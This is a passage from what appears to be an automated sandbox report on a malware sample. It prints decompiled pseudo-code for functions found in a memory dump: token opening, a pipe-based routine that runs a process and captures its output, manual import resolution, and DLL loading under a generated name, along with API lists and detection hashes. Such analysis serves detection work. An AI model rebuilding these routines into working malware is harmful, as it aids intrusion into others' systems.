				asm("fst qword [ebp-0xc]");
				_t32 =  *0x6ce78250;
				asm("fucomp st1");
				asm("fnstsw ax");
				if((_t11 & 0x00000044) != 0) {
					L5:
					st0 = _t32;
					L6CE722C9();
					if( *_t11 != 0x22) {
						_t33 = _v16;
						goto L8;
					} else {
						return _t11 | 0xffffffff;
					}
				} else {
					_t33 =  *0x6ce78258;
					asm("fucomp st1");
					asm("fnstsw ax");
					if((_t11 & 0x00000044) != 0) {
						L8:
						 *_a8 = _t33;
						return 0;
					} else {
						goto L5;
					}
				}
			}

0x6ce72237
0x6ce7223f
0x6ce72244
0x6ce72247
0x6ce7224c
0x6ce72252
0x6ce7225b
0x6ce7225f
0x6ce7225f
0x6ce7225b
0x6ce72261
0x6ce72266
0x6ce7226f
0x6ce72274
0x6ce72277
0x6ce72280
0x6ce72282
0x6ce72289
0x6ce7229a
0x6ce7229a
0x6ce7229c
0x6ce722a4
0x6ce722ab
0x00000000
0x6ce722a6
0x6ce722aa
0x6ce722aa
0x6ce7228b
0x6ce7228b
0x6ce72291
0x6ce72293
0x6ce72298
0x6ce722ae
0x6ce722b1
0x6ce722b6
0x00000000
0x00000000
0x00000000
0x6ce72298

APIs

localeconv.MSVCRT ref: 6CE7223F
strchr.MSVCRT ref: 6CE72252
_errno.MSVCRT ref: 6CE72261
strtod.MSVCRT ref: 6CE7226F
_errno.MSVCRT ref: 6CE7229C

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: 5d5ea3f236b2ca9293b184b180792610b47a6f13becd0fe262dd57083d1a6032
Instruction ID: 9b94b11a9c010a376ac202e1199f29ef1a6f5d5a42bce196caf3444f0d1f2c8c
Opcode Fuzzy Hash: 5d5ea3f236b2ca9293b184b180792610b47a6f13becd0fe262dd57083d1a6032
Instruction Fuzzy Hash: E1016431900281EACB226F24E8083893BB4AF6B368F3002C4D98036AD0EB70C558D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6CFC6, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6CE6CFC6(void* __ecx) {
				intOrPtr _t11;
				long _t12;
				intOrPtr _t17;
				intOrPtr _t18;
				struct _OSVERSIONINFOA* _t29;

				_push(__ecx);
				_t29 =  *0x6ce7e688; // 0x5e0590
				GetCurrentProcess();
				_t11 = E6CE6BA47();
				_t1 = _t29 + 0x1644; // 0x5e1bd4
				_t25 = _t1;
				 *((intOrPtr*)(_t29 + 0x110)) = _t11;
				_t12 = GetModuleFileNameW(0, _t1, 0x105);
				_t33 = _t12;
				if(_t12 != 0) {
					_t12 = E6CE68F9F(_t25, _t33);
				}
				_t3 = _t29 + 0x228; // 0x5e07b8
				 *(_t29 + 0x1854) = _t12;
				 *((intOrPtr*)(_t29 + 0x434)) = E6CE68F9F(_t3, _t33);
				memset(_t29, 0, 0x9c);
				_t29->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t29);
				 *((intOrPtr*)(_t29 + 0x1640)) = GetCurrentProcessId();
				_t17 = E6CE6E3F8(_t3);
				_t7 = _t29 + 0x220; // 0x5e07b0
				 *((intOrPtr*)(_t29 + 0x21c)) = _t17;
				_t18 = E6CE6E433(_t7);
				 *((intOrPtr*)(_t29 + 0x218)) = _t18;
				return _t18;
			}

0x6ce6cfc9
0x6ce6cfcb
0x6ce6cfd2
0x6ce6cfda
0x6ce6cfe4
0x6ce6cfe4
0x6ce6cfea
0x6ce6cff3
0x6ce6cff9
0x6ce6cffb
0x6ce6cfff
0x6ce6cfff
0x6ce6d004
0x6ce6d00a
0x6ce6d01a
0x6ce6d024
0x6ce6d02c
0x6ce6d02f
0x6ce6d03b
0x6ce6d041
0x6ce6d046
0x6ce6d04c
0x6ce6d052
0x6ce6d058
0x6ce6d060

APIs

GetCurrentProcess.KERNEL32(?,?,005E0590,?,6CE63538), ref: 6CE6CFD2
GetModuleFileNameW.KERNEL32(00000000,005E1BD4,00000105,?,?,005E0590,?,6CE63538), ref: 6CE6CFF3
memset.MSVCRT ref: 6CE6D024
GetVersionExA.KERNEL32(005E0590,005E0590,?,6CE63538), ref: 6CE6D02F
GetCurrentProcessId.KERNEL32(?,6CE63538), ref: 6CE6D035

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentProcess$FileModuleNameVersionmemset
String ID:
API String ID: 3581039275-0
Opcode ID: 85da6246d096062481b443567b605799fc3a24425aabcd426a8620fb22cdc3df
Instruction ID: 6a9c888a6bbb796286892eec074b6d3a48017aa3b41a309aaa29f73246748b25
Opcode Fuzzy Hash: 85da6246d096062481b443567b605799fc3a24425aabcd426a8620fb22cdc3df
Instruction Fuzzy Hash: 6201B170A41B10ABEB219F72C80DBDA7BF5EFA5310F10081EE59697780EB706545CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6B988, Relevance: 7.5, APIs: 5, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE6B988(void* __ecx) {
				void* _v8;
				void* _t9;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0 || GetLastError() == 0x3f0 && OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_t9 = _v8;
				} else {
					_t9 = 0;
				}
				return _t9;
			}

0x6ce6b9a7
0x6ce6b9d4
0x6ce6b9d0
0x6ce6b9d0
0x6ce6b9d0
0x6ce6b9d9

APIs

GetCurrentThread.KERNEL32(00000008,00000000,6CE60000,00000000,?,?,6CE6BABE,74EC17D9,6CE60000), ref: 6CE6B99B
OpenThreadToken.ADVAPI32(00000000,?,?,6CE6BABE,74EC17D9,6CE60000), ref: 6CE6B9A2
GetLastError.KERNEL32(?,?,6CE6BABE,74EC17D9,6CE60000), ref: 6CE6B9A9
GetCurrentProcess.KERNEL32(00000008,6CE60000,?,?,6CE6BABE,74EC17D9,6CE60000), ref: 6CE6B9C2
OpenProcessToken.ADVAPI32(00000000,?,?,6CE6BABE,74EC17D9,6CE60000), ref: 6CE6B9C9

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentOpenProcessThreadToken$ErrorLast
String ID:
API String ID: 102224034-0
Opcode ID: c59825e69c8b665a878d1a4e0ab94f157fe56313fd5af302cc4bc92f680cef4c
Instruction ID: e4d94b3dfabe782a06fa8dc29204eb7d32bcb10eb4bf1a213a7763fbf1897747
Opcode Fuzzy Hash: c59825e69c8b665a878d1a4e0ab94f157fe56313fd5af302cc4bc92f680cef4c
Instruction Fuzzy Hash: BAF05471A60619AFEF029BA6880CB5A33BCFB05348F141415F602E3940D660AD00DB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6A9F9, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6CE6A9F9(signed int __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				struct _SECURITY_ATTRIBUTES _v48;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				short _v92;
				intOrPtr _v96;
				void _v140;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				long _t111;
				intOrPtr _t115;
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t111 = 0;
				_v24 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t127 = 0;
				_v8 = 0;
				_v16 = 0;
				_v48.nLength = 0xc;
				_v48.lpSecurityDescriptor = 0;
				_v48.bInheritHandle = 1;
				_v28 = 0;
				memset( &_v140, 0, 0x44);
				asm("stosd");
				_t130 = _t129 + 0xc;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				if(CreatePipe( &_v12,  &_v20,  &_v48, 0) == 0) {
					L18:
					return 0;
				}
				if(CreatePipe( &_v8,  &_v16,  &_v48, 0) == 0) {
					L13:
					E6CE685FB( &_v28, 0);
					if(_v20 != 0) {
						_t77 =  *0x6ce7e684; // 0x65faa0
						 *((intOrPtr*)(_t77 + 0x30))(_v20);
					}
					if(_v8 != 0) {
						_t115 =  *0x6ce7e684; // 0x65faa0
						 *((intOrPtr*)(_t115 + 0x30))(_v8);
					}
					return _t111;
				}
				_t79 = _v16;
				_v76 = _t79;
				_v80 = _t79;
				_v84 = _v12;
				_v140 = 0x44;
				_v96 = 0x101;
				_v92 = 0;
				_t126 = E6CE685E5(0x1001);
				_v28 = _t126;
				if(_t126 == 0) {
					goto L18;
				}
				_push( &_v64);
				_push( &_v140);
				_t85 =  *0x6ce7e684; // 0x65faa0
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(1);
				_push(0);
				_push(0);
				_push(_v24);
				_push(0);
				if( *((intOrPtr*)(_t85 + 0x38))() == 0) {
					goto L13;
				}
				_t87 =  *0x6ce7e684; // 0x65faa0
				 *((intOrPtr*)(_t87 + 0x30))(_v12);
				_t89 =  *0x6ce7e684; // 0x65faa0
				 *((intOrPtr*)(_t89 + 0x30))(_v16);
				_v24 = _v24 & 0;
				do {
					_t92 =  *0x6ce7e684; // 0x65faa0
					_v36 =  *((intOrPtr*)(_t92 + 0x88))(_v8, _t126, 0x1000,  &_v24, 0);
					 *((char*)(_v24 + _t126)) = 0;
					if(_t111 == 0) {
						_t127 = E6CE69187(_t126, 0);
					} else {
						_push(0);
						_push(_t126);
						_v32 = _t127;
						_t127 = E6CE69273(_t127);
						E6CE685FB( &_v32, 0xffffffff);
						_t130 = _t130 + 0x14;
					}
					_t111 = _t127;
					_v32 = _t127;
				} while (_v36 != 0);
				_push( &_v36);
				_push(E6CE6C3BB(_t127));
				_t98 =  *0x6ce7e68c; // 0x65fc68
				_push(_t127);
				if( *((intOrPtr*)(_t98 + 0xb8))() != 0) {
					L12:
					_t100 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t100 + 0x30))(_v64);
					_t102 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t102 + 0x30))(_v60);
					goto L13;
				}
				_t128 = E6CE69237(_t127);
				if(_t128 == 0) {
					goto L12;
				}
				E6CE685FB( &_v32, 0);
				return _t128;
			}

0x6ce6aa04
0x6ce6aa06
0x6ce6aa12
0x6ce6aa17
0x6ce6aa1a
0x6ce6aa1c
0x6ce6aa1f
0x6ce6aa22
0x6ce6aa29
0x6ce6aa2c
0x6ce6aa33
0x6ce6aa36
0x6ce6aa40
0x6ce6aa41
0x6ce6aa44
0x6ce6aa46
0x6ce6aa47
0x6ce6aa5e
0x6ce6abde
0x00000000
0x6ce6abde
0x6ce6aa75
0x6ce6abaa
0x6ce6abb0
0x6ce6abbb
0x6ce6abbd
0x6ce6abc5
0x6ce6abc5
0x6ce6abcc
0x6ce6abce
0x6ce6abd7
0x6ce6abd7
0x00000000
0x6ce6abda
0x6ce6aa7b
0x6ce6aa7e
0x6ce6aa81
0x6ce6aa87
0x6ce6aa91
0x6ce6aa9b
0x6ce6aaa2
0x6ce6aaab
0x6ce6aaad
0x6ce6aab3
0x00000000
0x00000000
0x6ce6aabe
0x6ce6aac5
0x6ce6aac6
0x6ce6aacb
0x6ce6aacc
0x6ce6aacd
0x6ce6aad2
0x6ce6aad4
0x6ce6aad5
0x6ce6aad6
0x6ce6aad9
0x6ce6aadf
0x00000000
0x00000000
0x6ce6aae5
0x6ce6aaed
0x6ce6aaf0
0x6ce6aaf8
0x6ce6aafb
0x6ce6aafe
0x6ce6ab04
0x6ce6ab18
0x6ce6ab1e
0x6ce6ab24
0x6ce6ab4d
0x6ce6ab26
0x6ce6ab26
0x6ce6ab28
0x6ce6ab2a
0x6ce6ab32
0x6ce6ab3a
0x6ce6ab3f
0x6ce6ab3f
0x6ce6ab53
0x6ce6ab55
0x6ce6ab55
0x6ce6ab5d
0x6ce6ab65
0x6ce6ab66
0x6ce6ab6b
0x6ce6ab74
0x6ce6ab94
0x6ce6ab94
0x6ce6ab9c
0x6ce6ab9f
0x6ce6aba7
0x00000000
0x6ce6aba7
0x6ce6ab7d
0x6ce6ab81
0x00000000
0x00000000
0x6ce6ab89
0x00000000

APIs

memset.MSVCRT ref: 6CE6AA36
CreatePipe.KERNEL32(?,?,0000000C,00000000,00000000,00000000,00000000), ref: 6CE6AA5A
CreatePipe.KERNEL32(6CE6658A,?,0000000C,00000000), ref: 6CE6AA71

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

Part of subcall function 6CE685FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6CE68641

Strings

D, xrefs: 6CE6AA91

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeapPipe$AllocFreememset
String ID: D
API String ID: 488076629-2746444292
Opcode ID: f00be84e06628cde5e62b6e60f2ade22bf96804a2dd9f5a7d1e4967003fb3d69
Instruction ID: b259e5f984c0bcc6c6e26b1d16a4dd9088fc764d4ff33b98d1baa968051e2ce2
Opcode Fuzzy Hash: f00be84e06628cde5e62b6e60f2ade22bf96804a2dd9f5a7d1e4967003fb3d69
Instruction Fuzzy Hash: 27512871E50218AFDF11DFA9C884FDEB7B9EB09308F20416AE510E7650DB749A45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE724D3, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6CE724D3(signed int __eax, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;

				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E6CE6E0DB(_v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x6ce724d9
0x6ce724e1
0x6ce724f6
0x6ce72508
0x6ce72514
0x6ce7251a
0x6ce7251f
0x6ce7252b
0x6ce72696
0x00000000
0x6ce72696
0x6ce72531
0x6ce7253a
0x6ce72548
0x6ce7254b
0x6ce7255a
0x6ce7255a
0x6ce72561
0x6ce7256f
0x6ce72572
0x6ce72582
0x6ce7258f
0x6ce72596
0x6ce725a6
0x6ce725b8
0x6ce725be
0x6ce725a8
0x6ce725b0
0x6ce725b0
0x6ce725c1
0x6ce725c5
0x6ce725d1
0x6ce725d5
0x6ce725d9
0x6ce725dd
0x6ce725e9
0x6ce72614
0x6ce7261c
0x6ce72622
0x6ce7262e
0x6ce7263a
0x6ce725eb
0x6ce725f0
0x6ce725fb
0x6ce72607
0x6ce72607
0x6ce72643
0x6ce72649
0x6ce72653
0x6ce7266f
0x6ce72655
0x6ce72658
0x6ce72664
0x6ce72664
0x6ce72653
0x6ce72677
0x6ce72680
0x6ce72680
0x6ce7268e
0x00000000
0x6ce7268e
0x6ce7259a
0x00000000
0x6ce7259a
0x00000000
0x6ce72572
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 6CE724F0
LoadLibraryA.KERNEL32(00000000), ref: 6CE72589

Strings

GetProcAddress, xrefs: 6CE724F9
kernel32.dll, xrefs: 6CE724EB

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 208d182e58a184b5060aea5716546a7008c76e44ffb04698402ebe53f258ccab
Instruction ID: 2a67f0c0ea09601e781daa3850fdeb1d21eb5393b549e2fb0b7670987620426c
Opcode Fuzzy Hash: 208d182e58a184b5060aea5716546a7008c76e44ffb04698402ebe53f258ccab
Instruction Fuzzy Hash: 0B617C75900209EFDB10CF98C485BADBBF1FF19319F208599E815AB791D734AA81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6C510, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE6C510(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				char* _t63;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x6ce7e688; // 0x5e0590
				_t1 = _t50 + 0x1898; // 0x0
				_t14 =  *_t1;
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E6CE695C2(_t50, 0xb62);
					_t66 =  *0x6ce7e688; // 0x5e0590
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E6CE69621( &_v140, 0x40, L"%08x", E6CE6D442(_t66 + 0xb0, E6CE6C3BB(_t66 + 0xb0), 0));
					_t20 =  *0x6ce7e688; // 0x5e0590
					_t7 = _t20 + 0xa8; // 0x1
					asm("sbb eax, eax");
					_t25 = E6CE695C2(_t67, ( ~( *_t7) & 0x00000068) + 0x615);
					_t63 = "\\";
					_t26 =  *0x6ce7e688; // 0x5e0590
					_t68 = E6CE692C6(_t26 + 0x1020);
					_v12 = _t68;
					E6CE685B6( &_v8);
					_t32 =  *0x6ce7e688; // 0x5e0590
					_t34 = E6CE692C6(_t32 + 0x122a);
					 *0x6ce7e784 = _t34;
					_t35 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t35 + 0x110))(_t68, _t34, 0, _t63,  &_v140, ".", L"dll", 0, _t63, _t25, _t63, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x6ce7e784);
					 *0x6ce7e77c = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E6CE6E1B3(0x6ce7bb40, _t60);
					}
					 *0x6ce7e780 = _t38;
					E6CE685FB( &_v12, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					if( *0x6ce7e780 != 0) {
						goto L10;
					} else {
						E6CE685FB(0x6ce7e784, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x6ce7e780 == 0) {
						_t46 =  *0x6ce7e6bc; // 0x65fbc8
						 *0x6ce7e780 = _t46;
					}
					L10:
					return 1;
				}
			}

0x6ce6c510
0x6ce6c510
0x6ce6c510
0x6ce6c513
0x6ce6c51f
0x6ce6c51f
0x6ce6c52a
0x6ce6c546
0x6ce6c54b
0x6ce6c554
0x6ce6c556
0x6ce6c55e
0x6ce6c57f
0x6ce6c584
0x6ce6c589
0x6ce6c591
0x6ce6c59c
0x6ce6c5a3
0x6ce6c5aa
0x6ce6c5bb
0x6ce6c5c1
0x6ce6c5c4
0x6ce6c5db
0x6ce6c5e7
0x6ce6c5ef
0x6ce6c5f6
0x6ce6c5fc
0x6ce6c608
0x6ce6c60e
0x6ce6c615
0x6ce6c628
0x6ce6c617
0x6ce6c617
0x6ce6c61a
0x6ce6c620
0x6ce6c625
0x6ce6c62a
0x6ce6c635
0x6ce6c647
0x6ce6c659
0x00000000
0x6ce6c65b
0x6ce6c662
0x00000000
0x6ce6c668
0x6ce6c669
0x6ce6c669
0x6ce6c670
0x6ce6c672
0x6ce6c677
0x6ce6c677
0x6ce6c67c
0x6ce6c680
0x6ce6c680

APIs

LoadLibraryW.KERNEL32 ref: 6CE6C608
memset.MSVCRT ref: 6CE6C647

Strings

dll, xrefs: 6CE6C5CA
%08x, xrefs: 6CE6C571

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadmemset
String ID: %08x$dll
API String ID: 3406617148-2963171978
Opcode ID: eb993a41510ef23deb81d520a349068841d3d6b8817db8ae52f5240529f66824
Instruction ID: 9f66a57b129e6062e1562dedf0f72304fd25b99effa88e559bf7ddca5016223d
Opcode Fuzzy Hash: eb993a41510ef23deb81d520a349068841d3d6b8817db8ae52f5240529f66824
Instruction Fuzzy Hash: 9D31D1B2B50214AFEB11DBA6CC45EDA32BCEB4A71CF204069F504D7A80DB388D45C7B5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE72DB0, Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E6CE72DB0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0xec8b55c3
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xa1ec8b55
					_t12 = _t272 + 0x5c; // 0x23e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E6CE75DD0(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E6CE74B30(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x23e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E6CE74C70( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
